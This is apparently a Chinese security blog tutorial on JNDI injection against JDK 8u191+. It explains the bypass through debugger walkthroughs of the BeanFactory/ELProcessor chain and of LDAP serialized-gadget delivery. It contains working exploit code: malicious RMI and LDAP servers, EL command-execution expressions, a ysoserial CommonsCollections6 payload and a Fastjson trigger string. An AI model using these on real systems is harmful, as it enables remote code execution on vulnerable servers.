目录
0x01 绕过高版本JDK(8u191+)限制
如下两种绕过方式:
0x02 利用本地恶意Class作为Reference Factory
2.1 攻击利用
1. 服务端
2. 服务端
2.2 几种变体的表达式
调试分析
小结
0x03 利用LDAP返回序列化数据,触发本地Gadget
3.1 攻击利用
3.2 调试分析
参考资料
0x01 绕过高版本JDK(8u191+)限制
由前面知道,在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为false,禁止LDAP协议使用远程codebase 的选项,把LDAP协议的攻击途径也给禁了:
如下两种绕过方式:
- 找到一个受害者本地 CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
- 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
这两种方式都非常依赖受害者本地 CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。
简单地说,在低版本JDK的JNDI注入中,主要利用的就是classFactoryLocation这个参数来实现远程加载类利用的。但是在高版本JDK中对classFactoryLocation这个途径实现了限制,但是对于classFactory这个参数即本地ClassPath中如果存在Gadget的话还是能够进行JNDI注入攻击的。
0x02 利用本地恶意Class作为Reference Factory
简单地说,就是要服务端本地ClassPath中存在恶意Factory类可被利用来作为Reference Factory进行攻击利用。该恶意Factory类必须实现
javax.naming.spi.ObjectFactory
接口,实现该接口的getObjectInstance()
方法。
- 大佬找到的是这个
org.apache.naming.factory.BeanFactory
类,其满足上述条件并存在于Tomcat依赖包中,应用广泛。该类的getObjectInstance()
函数中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter
方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
2.1 攻击利用
具体依赖Tomcat中的jar包为:catalina.jar、el-api.jar、jasper-el.jar
1. 服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 6666");
Registry registry = LocateRegistry.createRegistry( 6666);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
ResourceRef
在 tomcat 中表示某个资源的引用,其构造函数参数如下:
// java/org/apache/naming/ResourceRef.java
/**
* Resource Reference.
*
* @param resourceClass Resource class
* @param description Description of the resource
* @param scope Resource scope
* @param auth Resource authentication
* @param singleton Is this resource a singleton (every lookup should return
* the same instance rather than a new instance)?
* @param factory The possibly null class name of the object's factory.
* @param factoryLocation The possibly null location from which to load the
* factory (e.g. URL)
*/
public ResourceRef(String resourceClass, String description,
String scope, String auth, boolean singleton,
String factory, String factoryLocation)
- 其中我们指定了资源的实际类为
javax.el.ELProcessor
,工厂类为apache.naming.factory.BeanFactory
。x=eval
令上述代码实际执行的是ELProcessor.eval
函数,其第一个参数是属性x
的值,这里指定的是弹计算器。
2. 服务端
import javax.naming.Context;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:6666/Object";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
- 需要在maven中导入依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.51</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>8.5.51</version>
</dependency>
2.2 几种变体的表达式
前面的恶意表达式就是通过反射的方式来实现命令执行的,本地测试有如下几种变体,原理都是基于反射调用任意类方法:
import javax.el.ELProcessor;
public class Test {
public static void main(String[] args) {
String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
".newInstance().getEngineByName('nashorn')" +
".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
// String poc = "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
// ".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')" +
// ".invoke(null),'calc.exe')}";
// String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
// ".newInstance().getEngineByName('JavaScript')" +
// ".eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
new ELProcessor().eval(poc);
}
}
调试分析
我们通过调试分析来调用过程,前面的部分和正常调用一样,到javax.naming.spi.NamingManager.java类的
getObjectInstance()
方法中,如图 2-2:
这里看到由于我们构造 Reference的时候里面传的工厂类为org.apache.naming.factory.BeanFactory,因此这里从Reference拿到的factory就是org.apache.naming.factory.BeanFactory类,接着调用
getObjectInstance():
- 同时我们应该注意到,想要从上一步的
getObjectFactoryFromReference(ref, f);
中得到返回factory不报错的话,需要传入的Factory类必须实现ObjectFactory接口类(因为会对获取回来的类实例化后强转为ObjectFactory类型),而org.apache.naming.factory.BeanFactory正好满足这一点,如图 2-3:
- 回到
getObjectInstance()
方法中接着往下走跟进getObjectInstance()
,如图 2-4:
上来就是判断obj参数是否是ResourceRef类实例,是的话代码才会往下走,这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例。往下走,如图 2-5:
- 接着获取Bean类为
javax.el.ELProcessor
后,实例化该类并获取其中的 forceString 类型的内容,其值是我们构造的x=eval
内容。继续往下走,如图 2-6:
- 这里先用
,
分割value属性的值,然后循环里面每一个值,判断里面是否存在=
:若存在就获取等号前的值作为param,等号后的值为propName;否则就使用set
拼接value的值作为propName的值;如此,之前设置的forceString的值就可以强制将x属性的setter
方法转换为调用我们指定的eval()
方法了,这是BeanFactory类能进行利用的关键点!
然后调用 beanClass.getMethod(propName, paramTypes)
获取eval方法,如2-7:
- 接着是多个
do while
语句来遍历获取ResourceRef类实例addr属性的元素,当获取到addrType为x的元素时退出当前所有循环,然后调用getContent()
函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素(也就是EL表达式的命令)。往下走,如图 2-8:
小结
- 这种方法是从本地ClassPath中寻找可能存在Tomcat相关依赖包来进行触发利用,已知的类是
org.apache.naming.factory.BeanFactory
;- 由于
org.apache.naming.factory.BeanFactory
类的getObjectInstance()
方法会判断是否为ResourceRef类实例,因此在RMI服务端绑定的Reference类实例中必须为Reference类的子类ResourceRef类实例,这里resourceClass选择的也是在Tomcat环境中存在的javax.el.ELProcessor
类;- ResourceRef类实例分别添加了两次StringRefAddr类实例元素,第一次是类型为
forceString
、内容为x=eval
的StringRefAddr类实例,这里看org.apache.naming.factory.BeanFactory
类的getObjectInstance()
方法源码发现,程序会判断是否存在=
号,若存在则将x
属性的默认setter
方法设置为我们eval
;第二次是类型为x
、内容为恶意表达式的StringRefAddr类实例,这里是跟前面的x
属性关联起来,x
属性的setter
方法是eval()
,而现在它的内容为恶意表达式,这样就能串起来调用javax.el.ELProcessor
类的eval()
函数执行恶意表达式从而达到攻击利用的目的;
0x03 利用LDAP返回序列化数据,触发本地Gadget
LDAP服务端除了支持JNDI Reference这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData属性值不为空,则客户端的
obj.decodeObject()
方法就会对这个字段的内容进行反序列化。此时,如果服务端ClassPath中存在反序列化许多功能利用Gadget如CommonsCollections库,那么就可以结合该Gadget实现反序列化漏洞攻击。
3.1 攻击利用
假设目标环境存在Commons-Collections-3.2.1包,且存在JNDI的lookup()注入或Fastjson反序列化漏洞。
- 使用ysoserial工具生成Commons-Collections这条Gadget并进行Base64编码输出:
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
- 输出:
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=
- 恶意LDAP服务器如下,主要是在javaSerializedData字段内填入刚刚生成的反序列化payload数据:
import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://vps:8000/#ExportObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
- 目标服务端代码,假设存在JNDI
lookup()
函数注入或 Fastjson反序列化漏洞,此时通过JNDI注入实现反序列化漏洞利用:
import com.alibaba.fastjson.JSON;
import javax.naming.InitialContext;
public class Test {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context ctx = new InitialContext();
ctx.lookup("ldap://localhost:1234/ExportObject");
// Fastjson反序列化JNDI注入Gadget触发
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}
如图 3-1:
3.2 调试分析
LDAP调用的流程和前面一样,调用链都是不同类
lookup()
函数之间的调用,com.sun.jndi.ldap.LdapCtx类的c_lookup()
函数中会调用到com.sun.jndi.ldap.Obj类的decodeObject()
函数进行解码对象的操作。跟进去,如图 3-2:
先调用
getCodebases()
函数从JAVA_ATTRIBUTES中取出索引为4即javaCodeBase的内容,由于本次并没有设置这个属性因此返回null;然后从JAVA_ATTRIBUTES中取出索引为1即javaSerializedData的内容,这个我们是在恶意LDAP服务端中设置了的、内容就是恶意的Commons-Collections这个Gadget的恶意利用序列化对象字节流;这里var2变量为null,传入getURLClassLoader()
函数调用后返回的是AppClassLoader即应用类加载器;再往下就是调用deserializeObject()
函数来反序列化javaSerializedData的对象字节码。跟进去如3-3:
参考资料
如何绕过高版本JDK的限制进行JNDI注入利用
Exploiting JNDI Injections in Java
浅析高低版JDK下的JNDI注入及绕过